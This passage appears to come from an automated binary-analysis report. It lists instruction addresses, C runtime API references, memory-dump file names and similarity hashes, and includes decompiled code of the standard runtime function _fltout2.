0x0041bcc1
0x0041bcc8
0x00000000
0x00000000
0x0041bcca
0x0041bcd3
0x0041bcd6
0x0041bcd8
0x0041be71
0x0041be71
0x0041be75
0x0041bf55
0x0041bf55
0x0041bf58
0x0041bf5b
0x0041c096
0x0041cc32
0x0041cc32
0x0041cc36
0x0041cc41
0x0041cc46
0x0041cc46
0x0041cc49
0x0041cc50
0x0041cc9f
0x0041cc9f
0x0041cca3
0x0041cd47
0x0041cd47
0x0041cd4a
0x0041cd56
0x0041cd5b
0x00000000
0x0041cd5b
0x0041cca9
0x0041cca9
0x0041ccab
0x0041ccb9
0x0041ccad
0x0041ccad
0x0041ccad
0x0041ccc3
0x0041ccc9
0x0041cccf
0x0041ccd6
0x0041ccd8
0x0041ccdd
0x0041ccdf
0x0041cce4
0x0041cce9
0x0041cceb
0x0041ccf0
0x0041ccf3
0x0041ccf6
0x0041ccf8
0x0041ccf8
0x0041ccf6
0x0041ccf9
0x0041cd00
0x00000000
0x0041cd02
0x0041cd02
0x0041cd07
0x0041cd23
0x0041cd2e
0x0041cd3a
0x0041cd3f
0x00000000
0x0041cd3f
0x0041cc52
0x0041cc52
0x0041cc52
0x0041cc56
0x0041cc6f
0x0041cc6f
0x0041cc72
0x0041cc78
0x0041cc7e
0x0041cc8a
0x0041cc8f
0x0041cd61
0x0041cd64
0x0041cd6e
0x0041cd6e
0x0041cc58
0x0041cc5f
0x0041cc61
0x00000000
0x00000000
0x0041cc63
0x0041cc63
0x00000000
0x0041cc63
0x0041cc50
0x0041bf61
0x0041bf65
0x0041bf67
0x0041bf73
0x0041bf76
0x0041bf7a
0x0041bf84
0x0041bf86
0x0041c01a
0x0041c01d
0x0041c021
0x0041c023
0x0041c02a
0x0041c035
0x0041c038
0x0041c048
0x0041c04e
0x0041c06a
0x0041c06a
0x0041c06c
0x0041c050
0x0041c050
0x0041c056
0x0041c056
0x0041c081
0x0041c08c
0x0041c091
0x0041c091
0x0041c038
0x0041c02a
0x0041bf8c
0x0041bf91
0x0041bf94
0x0041bf98
0x0041bf9a
0x0041bfa1
0x0041bfae
0x0041bfb1
0x0041bfc3
0x0041bfc9
0x0041bfe7
0x0041bfe7
0x0041bfe9
0x0041bfcb
0x0041bfcb
0x0041bfd1
0x0041bfd1
0x0041c000
0x0041c00d
0x0041c012
0x0041c012
0x0041bfb1
0x0041bfa1
0x0041c015
0x0041bf86
0x0041bf7a
0x0041cacb
0x0041cacb
0x0041cad4
0x0041cb03
0x0041cc0b
0x0041cc0b
0x0041cc0b
0x0041cc12
0x00000000
0x00000000
0x0041cc14
0x0041cc14
0x0041cc1a
0x0041cc1d
0x0041cc2b
0x00000000
0x0041cc2b
0x0041cc1f
0x0041cc1f
0x0041cc22
0x0041cc26
0x0041cc29
0x00000000
0x00000000
0x00000000
0x0041cc2d
0x0041b5de
0x0041b5de
0x0041b5de
0x0041b5e6
0x00000000
0x00000000
0x0041b5ec
0x0041b5f3
0x0041b5f8
0x0041b5fd
0x0041b649
0x0041b64f
0x0041b652
0x0041cb0b
0x0041cb11
0x0041cb14
0x0041cb16
0x0041cb1d
0x0041cb20
0x0041cb25
0x0041cb25
0x0041cb28
0x0041cb28
0x0041cb20
0x0041cb31
0x0041cb38
0x0041cb3d
0x0041cb40
0x0041cb58
0x0041cb5b
0x0041cb5d
0x0041cb80
0x0041cb88
0x0041cb8d
0x0041cb90
0x0041cb92
0x0041cc0b
0x0041cc0b
0x0041cc0b
0x0041cc12
0x00000000
0x00000000
0x00000000
0x0041cc12
0x0041cc0b
0x0041cb94
0x0041cb9a
0x0041cba1
0x0041cba6
0x0041cba9
0x0041cbc1
0x0041cbc4
0x0041cbc6
0x0041cc02
0x0041cc05
0x0041cc05
0x0041cc08
0x00000000
0x0041cc08
0x0041cbc8
0x0041cbce
0x0041cbdc
0x0041cbea
0x0041cbed
0x0041cbf8
0x0041cbfd
0x0041cb5f
0x0041cb5f
0x0041cb65
0x0041cb6c
0x0041cb73
0x0041cb78
0x0041cb78
0x00000000
0x0041cb5d
0x0041b658
0x0041b658
0x0041b65f
0x0041b662
0x00000000
0x0041b668
0x0041b668
0x0041b672
0x0041b676
0x0041b686
0x0041b692
0x0041b695
0x0041b69f
0x0041b6a2
0x0041b6a9
0x0041b6b0
0x0041b6b6
0x0041b6bc
0x0041b6c2
0x0041b6c5
0x0041b6cc
0x0041b6d0
0x0041b6d7
0x0041b6d7
0x0041b6db
0x0041b6dd
0x00000000
0x00000000
0x0041b6e3
0x0041b6e9
0x0041b6f2
0x0041b6fa
0x0041b6ff
0x0041b702
0x0041b704
0x0041b72d
0x0041b730
0x0041b73f
0x0041b745
0x0041b74c
0x0041b8e2
0x0041b8e5
0x0041b8e5
0x0041b8e7
0x00000000
0x0041b8e7
0x0041b752
0x0041b758
0x0041b75f
0x00000000
0x0041b8d7
0x0041b8da
0x0041b8dd
0x00000000
0x00000000
0x0041b766
0x00000000
0x00000000
0x0041b788
0x0041b788
0x0041b78b
0x0041b78f
0x0041b792
0x0041b7d0
0x0041b7d0
0x0041b7d3
0x0041b7d7
0x0041b7da
0x0041b7f8
0x0041b7f8
0x0041b7fb
0x0041b7ff
0x0041b802
0x0041b834
0x0041b834
0x0041b834
0x0041b836
0x0041b838
0x0041b83b
0x0041b83b
0x0041b83e
0x0041b841
0x0041b84b
0x0041b84b
0x0041b855
0x00000000
0x0041b855
0x0041b804
0x0041b804
0x0041b807
0x0041b80b
0x0041b80e
0x00000000
0x00000000
0x0041b810
0x0041b810
0x0041b813
0x0041b817
0x0041b81a
0x00000000
0x00000000
0x0041b81c
0x0041b81c
0x0041b81f
0x0041b823
0x0041b826
0x00000000
0x00000000
0x0041b828
0x0041b828
0x0041b82b
0x0041b82f
0x0041b832
0x0041b85a
0x0041b85a
0x0041b85c
0x0041b85e
0x0041b861
0x0041b861
0x0041b864
0x0041b867
0x0041b871
0x0041b871
0x00000000
0x0041b87b
0x00000000
0x0041b832
0x0041b7dc
0x0041b7dc
0x0041b7df
0x0041b7e3
0x0041b7e6
0x00000000
0x0041b7e8
0x0041b7e8
0x0041b7eb
0x0041b7ee
0x00000000
0x0041b7ee
0x0041b7e6
0x0041b794
0x0041b794
0x0041b797
0x0041b79b
0x0041b79e
0x00000000
0x0041b7a0
0x0041b7a0
0x0041b7a3
0x0041b7a6
0x0041b7ac
0x0041b7af
0x0041b7b2
0x0041b7bc
0x00000000
0x0041b7bc
0x00000000
0x0041b87d
0x0041b880
0x0041b883
0x00000000
0x00000000
0x0041b76b
0x0041b76e
0x0041b771
0x0041b77a
0x0041b77d
0x00000000
0x00000000
0x0041b888
0x0041b888
0x0041b88b
0x0041b88f
0x0041b892
0x0041b8be
0x0041b8c1
0x0041b8c1
0x0041b8c3
0x00000000
0x0041b894
0x0041b894
0x0041b897
0x0041b89a
0x0041b8a0
0x0041b8a3
0x0041b8a6
0x0041b8b0
0x00000000
0x0041b8b0
0x00000000
0x0041b8c6
0x0041b8cc
0x0041b8cf
0x00000000
0x00000000
0x00000000
0x00000000
0x0041b706
0x0041b70f
0x0041b725
0x0041b8ea
0x00000000
0x0041b8ea
0x0041b704
0x0041b8ef
0x0041b8f3
0x0041b8f5
0x0041b911
0x0041b8f7
0x0041b8fa
0x0041b903
0x0041b90c
0x0041b90c
0x0041b918
0x0041b923
0x0041b925
0x0041b95c
0x0041b962
0x0041b965
0x0041b968
0x0041b96c
0x0041b9ad
0x0041b9ad
0x0041b9b1
0x0041b9c1
0x0041b9c1
0x0041b9c8
0x0041b9d4
0x0041b9d8
0x0041b9da
0x0041ba55
0x0041ba58
0x0041ba67
0x0041ba6d
0x0041ba74
0x0041ca76
0x0041ca7c
0x0041ca82
0x0041caae
0x0041cab4
0x0041cab4
0x0041cab7
0x0041cac1
0x0041cac3
0x0041cac8
0x0041cac8
0x0041cacb
0x0041cacb
0x0041cad4
0x0041cb03
0x00000000
0x0041cb06
0x0041cacb
0x0041ca84
0x0041ca87
0x0041ca8a
0x0041ca98
0x0041ca9d
0x0041caa0
0x00000000
0x0041caa0
0x0041ba7a
0x0041ba80
0x0041ba87
0x00000000
0x0041ba8e
0x0041ba8e
0x0041ba95
0x0041baa0
0x0041baa9
0x0041baa9
0x0041baac
0x0041baac
0x0041baaf
0x0041bab6
0x0041bab8
0x0041babd
0x0041babd
0x0041bac0
0x0041bac0
0x0041bac3
0x0041bc90
0x0041bc93
0x0041bc99
0x0041bc9c
0x0041bcaa
0x0041bcaf
0x0041bcb2
0x0041bcb6
0x0041bcbb
0x0041bcbb
0x0041bcbe
0x0041bcbe
0x00000000
0x00000000
0x0041c1ec
0x0041c1ec
0x0041c1f3
0x0041c201
0x0041c201
0x0041c208
0x00000000
0x00000000
0x0041c20a
0x0041c20a
0x0041c20d
0x0041c20d
0x0041c210
0x0041c213
0x0041c229
0x0041c229
0x0041c22c
0x0041c22c
0x0041c22f
0x0041c232
0x0041c23e
0x00000000
0x0041c23e
0x0041c215
0x0041c215
0x0041c21c
0x00000000
0x00000000
0x0041c21e
0x0041c221
0x0041c224
0x00000000
0x0041c224
0x0041c1f5
0x0041c1f8
0x0041c1fa
0x00000000
0x00000000
0x0041c5f6
0x0041c5f6
0x0041c5fd
0x0041c604
0x0041c61f
0x0041c61f
0x0041c626
0x0041c64c
0x0041c64c
0x0041c653
0x0041c655
0x0041c655
0x0041c65c
0x0041c65c
0x0041c65c
0x0041c664
0x0041c66c
0x0041c66e
0x00000000
0x00000000
0x0041c674
0x0041c674
0x0041c67a
0x0041c67d
0x0041c680
0x0041c682
0x00000000
0x00000000
0x0041c684
0x0041c68a
0x0041c68d
0x0041c699
0x0041c69c
0x0041c6a2
0x0041c6a7
0x0041c6aa
0x0041c6ad
0x0041c6b1
0x0041c6b8
0x0041c6bf
0x0041c6c6
0x0041c6ca
0x0041c6d2
0x0041c6d4
0x0041c6db
0x0041c6de
0x0041c6e1
0x0041c6e4
0x0041c6f0
0x00000000
0x0041c6f0
0x0041c6d6
0x00000000
0x0041c6d6
0x0041c6fb
0x0041c6fb
0x0041c702
0x0041c70a
0x0041c70c
0x0041c70e
0x0041c711
0x0041c715
0x0041c71c
0x0041c71e
0x0041c837
0x0041c837
0x0041c83e
0x0041c9fa
0x0041c9fd
0x0041ca00
0x0041ca03
0x0041ca07
0x0041ca0e
0x0041ca16
0x0041ca1d
0x0041ca6f
0x00000000
0x0041ca6f
0x0041ca1f
0x0041ca1f
0x0041ca23
0x0041ca25
0x0041ca2a
0x0041ca2d
0x0041ca36
0x0041ca39
0x0041ca3c
0x0041ca47
0x0041ca48
0x0041ca4e
0x0041ca4f
0x0041ca52
0x0041ca53
0x0041ca57
0x0041ca57
0x0041ca5a
0x0041ca5b
0x0041ca61
0x0041ca62
0x0041ca68
0x0041ca6a
0x0041ca6a
0x0041cacb
0x0041cad4
0x0041cb03
0x00000000
0x0041cb06
0x0041c844
0x0041c844
0x0041c84b
0x0041c85a
0x0041c85a
0x0041c860
0x0041c863
0x0041c866
0x0041c868
0x00000000
0x00000000
0x0041c86e
0x0041c874
0x0041c877
0x0041c87d
0x0041c880
0x0041c883
0x0041c887
0x0041c88e
0x0041c895
0x0041c89c
0x0041c8a0
0x0041c8a8
0x0041c8aa
0x0041c8b1
0x0041c8b4
0x0041c8b7
0x0041c8ba
0x0041c8c6
0x0041c8cc
0x0041c8d3
0x0041c91c
0x0041c91c
0x0041c923
0x0041c95b
0x0041c95b
0x0041c95b
0x0041c963
0x0041c96b
0x0041c96d
0x00000000
0x00000000
0x0041c973
0x0041c973
0x0041c979
0x0041c97c
0x0041c97f
0x0041c981
0x00000000
0x00000000
0x0041c983
0x0041c989
0x0041c98c
0x0041c998
0x0041c99b
0x0041c9a1
0x0041c9a6
0x0041c9a9
0x0041c9ac
0x0041c9b0
0x0041c9b7
0x0041c9be
0x0041c9c5
0x0041c9c9
0x0041c9d1
0x0041c9d3
0x0041c9da
0x0041c9dd
0x0041c9e0
0x0041c9e3
0x0041c9ef
0x00000000
0x0041c9ef
0x0041c9d5
0x00000000
0x0041c9d5
0x00000000
0x0041c95b
0x0041c925
0x0041c925
0x0041c92b
0x0041c92e
0x0041c931
0x0041c933
0x0041c940
0x0041c943
0x0041c943
0x0041c946
0x0041c949
0x0041c955
0x0041c935
0x0041c938
0x0041c93b
0x0041c93b
0x00000000
0x0041c933
0x0041c8d5
0x0041c8db
0x0041c8de
0x0041c8e4
0x0041c8e7
0x0041c8ea
0x0041c8ee
0x0041c8f5
0x0041c8fc
0x0041c903
0x0041c907
0x0041c90f
0x0041c911
0x0041c918
0x00000000
0x0041c918
0x0041c913
0x00000000
0x0041c913
0x0041c8ac
0x00000000
0x0041c8ac
0x0041c84d
0x0041c84d
0x0041c854
0x00000000
0x00000000
0x00000000
0x0041c854
0x0041c724
0x0041c724
0x0041c72a
0x0041c72d
0x0041c730
0x0041c732
0x00000000
0x00000000
0x0041c738
0x0041c73b
0x0041c73e
0x0041c741
0x0041c74d
0x0041c759
0x0041c75c
0x0041c75f
0x0041c764
0x0041c767
0x0041c76a
0x0041c76e
0x0041c775
0x0041c77c
0x0041c783
0x0041c787
0x0041c78f
0x0041c791
0x0041c798
0x0041c798
0x0041c798
0x0041c7a0
0x0041c7a8
0x0041c7aa
0x00000000
0x00000000
0x0041c7b0
0x0041c7b0
0x0041c7b6
0x0041c7b9
0x0041c7bc
0x0041c7be
0x00000000
0x00000000
0x0041c7c0
0x0041c7c6
0x0041c7c9
0x0041c7d5
0x0041c7d8
0x0041c7de
0x0041c7e3
0x0041c7e6
0x0041c7e9
0x0041c7ed
0x0041c7f4
0x0041c7fb
0x0041c802
0x0041c806
0x0041c80e
0x0041c810
0x0041c817
0x0041c81a
0x0041c81d
0x0041c820
0x0041c82c
0x00000000
0x0041c82c
0x0041c812
0x00000000
0x0041c812
0x00000000
0x0041c798
0x0041c793
0x00000000
0x0041c793
0x0041c628
0x0041c62b
0x0041c62e
0x0041c631
0x0041c634
0x0041c634
0x0041c637
0x0041c63a
0x0041c646
0x00000000
0x0041c646
0x0041c606
0x0041c60c
0x0041c60f
0x0041c615
0x0041c618
0x00000000
0x00000000
0x0041c0a0
0x0041c0a0
0x00000000
0x00000000
0x0041c5de
0x0041c5de
0x0041c5e1
0x0041c5e7
0x0041c5eb
0x0041c5ed
0x0041c5f1
0x0041cacb
0x0041cacb
0x0041cad4
0x0041cb03
0x00000000
0x0041cb06
0x0041cacb
0x0041c5ef
0x00000000
0x00000000
0x0041c1e8
0x0041c1e8
0x00000000
0x00000000
0x0041bac8
0x0041bac8
0x0041bacf
0x0041bad1
0x0041bad3
0x0041bad6
0x0041bad6
0x0041bad8
0x0041bad8
0x0041badb
0x0041bc90
0x0041bc90
0x0041bc93
0x0041bc99
0x0041bc9c
0x0041bcaa
0x0041bcaf
0x0041bcb2
0x0041bcb6
0x0041bcbb
0x0041bcbb
0x0041bcbe
0x0041bcbe
0x0041bcc1
0x0041bcc1
0x0041bcc8
0x00000000
0x00000000
0x00000000
0x0041bcc8
0x00000000
0x0041c0a7
0x0041c0a7
0x0041c0ae
0x0041c0bd
0x0041c0bd
0x0041c0c4
0x0041c100
0x0041c100
0x0041c107
0x0041c1e6
0x0041c244
0x0041c244
0x0041c248
0x0041c40c
0x0041c40c
0x0041c40c
0x0041c410
0x0041c412
0x00000000
0x00000000
0x0041c418
0x0041c418
0x0041c41c
0x0041c424
0x0041c424
0x0041c42c
0x0041c434
0x0041c436
0x0041c45f
0x0041c462
0x0041c462
0x0041c465
0x0041c438
0x0041c43e
0x0041c441
0x0041c447
0x0041c457
0x0041c457
0x0041c4cb
0x0041c4cb
0x0041c4cf
0x0041c4d1
0x0041c533
0x0041c533
0x0041c536
0x0041c536
0x0041c539
0x0041c53c
0x0041c540
0x0041c547
0x0041c54f
0x00000000
0x0041c54f
0x0041c4d3
0x0041c4d9
0x0041c4dc
0x0041c4e2
0x0041c4e8
0x0041c4ee
0x0041c4f2
0x0041c4f8
0x0041c4ff
0x0041c516
0x0041c516
0x0041c519
0x0041c519
0x0041c51c
0x0041c51f
0x0041c52b
0x0041c531
0x00000000
0x0041c531
0x0041c501
0x0041c501
0x0041c504
0x0041c504
0x0041c507
0x0041c50a
0x00000000
0x00000000
0x0041c50c
0x0041c50f
0x0041c511
0x00000000
0x0041c511
0x0041c41e
0x0041c41e
0x0041c422
0x0041c46a
0x0041c46a
0x0041c472
0x0041c47a
0x0041c47c
0x0041c4c2
0x0041c4c5
0x0041c4c5
0x0041c4c8
0x0041c47e
0x0041c47e
0x0041c482
0x0041c4a9
0x0041c4af
0x0041c4b5
0x0041c4b8
0x0041c4b8
0x0041c4ba
0x0041c484
0x0041c484
0x0041c48b
0x0041c49e
0x0041c4a1
0x0041c4a1
0x0041c4a4
0x0041c48d
0x0041c493
0x0041c496
0x0041c496
0x0041c4a7
0x0041c4c0
0x00000000
0x0041c47c
0x00000000
0x0041c422
0x0041c554
0x0041c554
0x0041c558
0x0041c55a
0x0041c55c
0x0041c562
0x0041c564
0x0041c564
0x0041c56a
0x0041c56a
0x0041c56e
0x0041c570
0x0041c570
0x0041c57a
0x0041c581
0x0041c5d4
0x00000000
0x0041c583
0x0041c583
0x0041c583
0x0041c587
0x0041c589
0x0041c5d2
0x0041cacb
0x0041cacb
0x0041cad4
0x0041cb03
0x00000000
0x0041cb06
0x0041cacb
0x0041c58b
0x0041c58b
0x0041c58e
0x0041c58e
0x0041c591
0x0041c594
0x0041c594
0x0041c598
0x0041c5b0
0x0041c5b4
0x0041c5b6
0x0041c5c5
0x0041c5cf
0x0041c5b8
0x0041c5b8
0x0041c5bb
0x0041c5c1
0x0041c5c1
0x0041c59a
0x0041c59a
0x0041c59d
0x0041c5a3
0x0041c5a5
0x0041c5ab
0x0041c5ab
0x00000000
0x0041c598
0x00000000
0x00000000
0x00000000
0x0041c24e
0x0041c24e
0x0041c24e
0x0041c252
0x0041c254
0x00000000
0x00000000
0x0041c25a
0x0041c25a
0x0041c25e
0x0041c266
0x0041c266
0x0041c26e
0x0041c276
0x0041c278
0x0041c2b1
0x0041c2b4
0x0041c2b4
0x0041c2b7
0x0041c27a
0x0041c27a
0x0041c280
0x0041c286
0x0041c28d
0x0041c293
0x0041c299
0x0041c2a9
0x0041c2a9
0x0041c34b
0x0041c34b
0x0041c34f
0x0041c351
0x0041c3bf
0x0041c3bf
0x0041c3c2
0x0041c3c2
0x0041c3c5
0x0041c3c8
0x0041c3cc
0x0041c3d3
0x0041c3db
0x00000000
0x0041c3db
0x0041c353
0x0041c353
0x0041c359
0x0041c35c
0x0041c368
0x0041c36b
0x0041c36c
0x0041c372
0x0041c378
0x0041c37e
0x0041c384
0x0041c38b
0x0041c3a2
0x0041c3a2
0x0041c3a5
0x0041c3a5
0x0041c3a8
0x0041c3ab
0x0041c3b7
0x0041c3bd
0x00000000
0x0041c3bd
0x0041c38d
0x0041c38d
0x0041c390
0x0041c390
0x0041c393
0x0041c396
0x00000000
0x00000000
0x0041c398
0x0041c39b
0x0041c39d
0x00000000
0x0041c39d
0x0041c260
0x0041c260
0x0041c264
0x0041c2bf
0x0041c2bf
0x0041c2c7
0x0041c2cf
0x0041c2d1
0x0041c342
0x0041c345
0x0041c345
0x0041c348
0x0041c2d3
0x0041c2d3
0x0041c2d7
0x0041c30e
0x0041c314
0x0041c31a
0x0041c31c
0x0041c321
0x0041c321
0x0041c327
0x0041c32d
0x0041c334
0x0041c33a
0x0041c2d9
0x0041c2d9
0x0041c2e0
0x0041c303
0x0041c306
0x0041c306
0x0041c309
0x0041c2e2
0x0041c2e2
0x0041c2e8
0x0041c2ee
0x0041c2f5
0x0041c2fb
0x0041c2fb
0x0041c30c
0x0041c340
0x00000000
0x0041c2d1
0x00000000
0x0041c264
0x0041c3e0
0x0041c3e0
0x0041c3e4
0x0041c3e6
0x0041c3e8
0x0041c3ee
0x0041c3f0
0x0041c3f6
0x0041c3f9
0x0041c3fb
0x0041c401
0x0041c401
0x00000000
0x0041c407
0x0041c10d
0x0041c110
0x0041c113
0x0041c116
0x0041c122
0x0041c128
0x0041c12f
0x0041c132
0x0041c140
0x0041c143
0x0041c146
0x0041c149
0x0041c155
0x0041c15b
0x0041c162
0x0041c164
0x0041c167
0x0041c16a
0x0041c16d
0x0041c171
0x0041c173
0x0041c176
0x0041c176
0x0041c179
0x0041c179
0x0041c171
0x0041c17c
0x00000000
0x0041c17c
0x0041c134
0x0041c134
0x0041c13b
0x0041c13e
0x0041c185
0x0041c18b
0x0041c18e
0x0041c194
0x0041c198
0x0041c1c0
0x0041c1c3
0x0041c1c3
0x0041c1c6
0x0041c1c9
0x0041c1cd
0x0041c1d4
0x0041c1dc
0x0041c19a
0x0041c19a
0x0041c1a1
0x0041c1a3
0x0041c1a6
0x0041c1a6
0x0041c1a9
0x0041c1ac
0x0041c1ae
0x0041c1b1
0x0041c1b1
0x0041c1b4
0x0041c1b4
0x0041c1ac
0x0041c1b7
0x0041c1b7
0x00000000
0x0041c198
0x00000000
0x0041c13e
0x0041c0c6
0x0041c0c6
0x0041c0c9
0x0041c0c9
0x0041c0cc
0x0041c0cf
0x0041c0e5
0x0041c0e5
0x0041c0e8
0x0041c0e8
0x0041c0eb
0x0041c0ee
0x0041c0fa
0x00000000
0x0041c0fa
0x0041c0d1
0x0041c0d1
0x0041c0d8
0x00000000
0x00000000
0x0041c0da
0x0041c0dd
0x0041c0e0
0x00000000
0x0041c0e0
0x0041c0b0
0x0041c0b3
0x0041c0b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041ba87
0x0041b9dc
0x0041b9dc
0x0041b9e0
0x0041b9ee
0x0041b9f1
0x0041b9fa
0x0041ba03
0x0041ba09
0x0041ba12
0x0041ba1b
0x0041ba1e
0x0041ba21
0x0041ba24
0x0041ba28
0x00000000
0x0041ba2a
0x0041ba2a
0x0041ba31
0x0041ba33
0x0041ba3f
0x0041ba42
0x0041ba35
0x0041ba37
0x0041ba3a
0x0041ba3a
0x0041ba4a
0x00000000
0x0041ba4a
0x0041ba28
0x0041b9e2
0x0041b9e2
0x0041b9e6
0x00000000
0x00000000
0x0041b9e8
0x0041b9e8
0x0041b9ec
0x00000000
0x00000000
0x00000000
0x0041b9ec
0x0041b9ca
0x0041b9ca
0x0041b9ce
0x0041cadc
0x0041cae2
0x0041cae9
0x0041caf0
0x0041caf5
0x00000000
0x0041caf5
0x00000000
0x0041b9ce
0x0041b9b3
0x0041b9b3
0x0041b9ba
0x00000000
0x0041b9bc
0x00000000
0x0041b9bc
0x0041b9ba
0x0041b96e
0x0041b96e
0x0041b972
0x0041b992
0x0041b995
0x0041b995
0x0041b998
0x0041b99f
0x0041b9a4
0x0041b9a7
0x00000000
0x0041b9a7
0x0041b974
0x0041b974
0x0041b978
0x00000000
0x0041b97a
0x0041b982
0x0041b987
0x0041b98a
0x00000000
0x0041b98a
0x0041b927
0x0041b927
0x0041b92d
0x0041b930
0x0041b93d
0x0041b946
0x00000000
0x0041b946
0x0041b932
0x0041b938
0x0041b93b
0x0041b954
0x0041b954
0x0041b956
0x00000000
0x0041b956
0x00000000
0x0041b93b
0x0041b925
0x0041b5ff
0x0041b605
0x0041b61d
0x0041b622
0x0041b625
0x0041b625
0x0041b62b
0x0041b633
0x0041b63b
0x0041b640
0x0041b643
0x00000000
0x0041b625
0x0041b5fd
0x00000000
0x0041b5de
0x0041cc0b
0x0041cacb
0x0041be7b
0x0041be80
0x0041be8a
0x0041be8c
0x0041bef2
0x0041bef5
0x0041bef8
0x0041befc
0x0041befe
0x0041bf05
0x0041bf07
0x0041bf0b
0x0041bf13
0x0041bf19
0x0041bf2c
0x0041bf2c
0x0041bf2f
0x0041bf1b
0x0041bf1b
0x0041bf21
0x0041bf21
0x0041bf44
0x0041bf48
0x0041bf4d
0x0041bf4d
0x0041bf0b
0x0041bf05
0x0041be8e
0x0041be90
0x0041be93
0x0041be96
0x0041be9a
0x0041be9c
0x0041bea3
0x0041bea5
0x0041bea9
0x0041beb1
0x0041beb7
0x0041beca
0x0041beca
0x0041becd
0x0041beb9
0x0041beb9
0x0041bebf
0x0041bebf
0x0041bee4
0x0041bee8
0x0041beed
0x0041beed
0x0041bea9
0x0041bea3
0x0041bef0
0x00000000
0x0041bf50
0x0041bcde
0x0041bce4
0x0041bceb
0x0041bcf0
0x0041bcf3
0x0041bcf9
0x0041bd00
0x0041be4e
0x0041be54
0x0041be57
0x0041be62
0x0041be67
0x00000000
0x0041be67
0x0041bd06
0x0041bd06
0x0041bd0a
0x0041bd65
0x0041bd65
0x0041bd69
0x0041bd6b
0x0041be43
0x0041be46
0x0041be46
0x0041be49
0x0041be4c
0x00000000
0x0041be6c
0x0041bd71
0x0041bd71
0x0041bd75
0x0041bd83
0x0041bd87
0x0041bd89
0x0041be2d
0x0041be35
0x0041be3b
0x0041be3b
0x0041be3e
0x0041bd8f
0x0041bd95
0x0041bda3
0x0041bda8
0x0041bdab
0x0041bdad
0x0041bdb2
0x0041bdb2
0x0041bdb5
0x0041bdbc
0x0041bdc1
0x0041bdc4
0x0041bdc4
0x0041bdcf
0x0041bdd9
0x0041bdfe
0x0041be03
0x0041be09
0x0041be0d
0x0041be16
0x0041be1f
0x0041be1f
0x00000000
0x0041be41
0x0041bd77
0x0041bd77
0x00000000
0x0041bd77
0x0041bd0c
0x0041bd0c
0x0041bd10
0x0041bd2d
0x0041bd2d
0x0041bd31
0x00000000
0x00000000
0x0041bd37
0x0041bd3d
0x0041bd40
0x0041bd5d
0x0041bd5f
0x00000000
0x00000000
0x00000000
0x0041bd5f
0x0041bd12
0x0041bd12
0x0041bd19
0x0041bd24
0x0041bd24
0x0041bd2b
0x00000000
0x00000000
0x00000000
0x0041bd2b
0x0041bd1b
0x0041bd1b
0x0041bd22
0x00000000
0x00000000
0x00000000
0x0041bd22
0x0041bcc1
0x0041bc90
0x0041bc7f
0x00000000
0x0041bc7f

APIs

_memset.LIBCMT ref: 0041BB28
__un_inc.LIBCMTD ref: 0041BCAA
__inc.LIBCMTD ref: 0041BCEB
_memset.LIBCMT ref: 0041BEE8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041CC8A

Strings

{, xrefs: 0041BC84
{, xrefs: 0041BD2D
], xrefs: 0041BB41
, xrefs: 0041BD24

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale_memset$UpdateUpdate::~___inc__un_inc
String ID: $]${${
API String ID: 2298401608-1336171634
Opcode ID: 5891cd03c3400e98b52de31ff37426ded9c582fdac34fed807aa355586f1f810
Instruction ID: 40ff5d35affad126e3cea25b0838e4c15d410ca2547fd05990b9d43d9b5e16ef
Opcode Fuzzy Hash: 5891cd03c3400e98b52de31ff37426ded9c582fdac34fed807aa355586f1f810
Instruction Fuzzy Hash: 11C18130D092998BCF25CBA9D4A06FDBFB1EF16305F28419EE89567742C7385981CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00437C90, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00437C90(void* __ebx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr* _a12, intOrPtr _a16, char _a20) {
				signed int _v8;
				char _v32;
				char _v34;
				short _v36;
				short _v40;
				intOrPtr _v44;
				char _v48;
				signed int _t25;
				intOrPtr* _t29;
				signed int _t55;
				void* _t56;

				_t25 =  *0x43e3fc; // 0x64bd3ff4
				_v8 = _t25 ^ _t55;
				E00437D40( &_v48,  &_a4);
				_push( &_v36);
				_push(0);
				_t29 = _t56 + 8 - 0xc;
				 *_t29 = _v48;
				 *((intOrPtr*)(_t29 + 4)) = _v44;
				 *((short*)(_t29 + 8)) = _v40;
				 *((intOrPtr*)(_a12 + 8)) = E0043AF10(__ebx, __edi, __esi);
				 *_a12 = _v34;
				 *((intOrPtr*)(_a12 + 4)) = _v36;
				_t18 =  &_a20; // 0x43515e
				E0041A6E0(E00429B10( &_v32, _a16,  *_t18,  &_v32), _t34, L"strcpy_s(resultstr, resultsize, autofos.man)", L"_fltout2", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\prebuild\\conv\\cfout.c", 0x28, 0);
				 *((intOrPtr*)(_a12 + 0xc)) = _a16;
				return E00422570(_a12, __ebx, _v8 ^ _t55, _a16, __edi, __esi, 0x11);
			}

0x00437c98
0x00437c9f
0x00437caa
0x00437cb5
0x00437cb6
0x00437cbd
0x00437cc2
0x00437cc7
0x00437cce
0x00437cdd
0x00437ce7
0x00437cf0
0x00437d0a
0x00437d1b
0x00437d29
0x00437d3c

APIs

___dtold.LIBCMTD ref: 00437CAA
_$I10_OUTPUT.LIBCMTD ref: 00437CD2
_wcscpy_s.LIBCMTD ref: 00437D12

Part of subcall function 00429B10: __invalid_parameter.LIBCMTD ref: 00429B82

__invoke_watson_if_error.LIBCMTD ref: 00437D1B

Strings

_fltout2, xrefs: 00437CFC
strcpy_s(resultstr, resultsize, autofos.man), xrefs: 00437D01
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 00437CF7
^QC, xrefs: 00437D0A, 00437D0D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
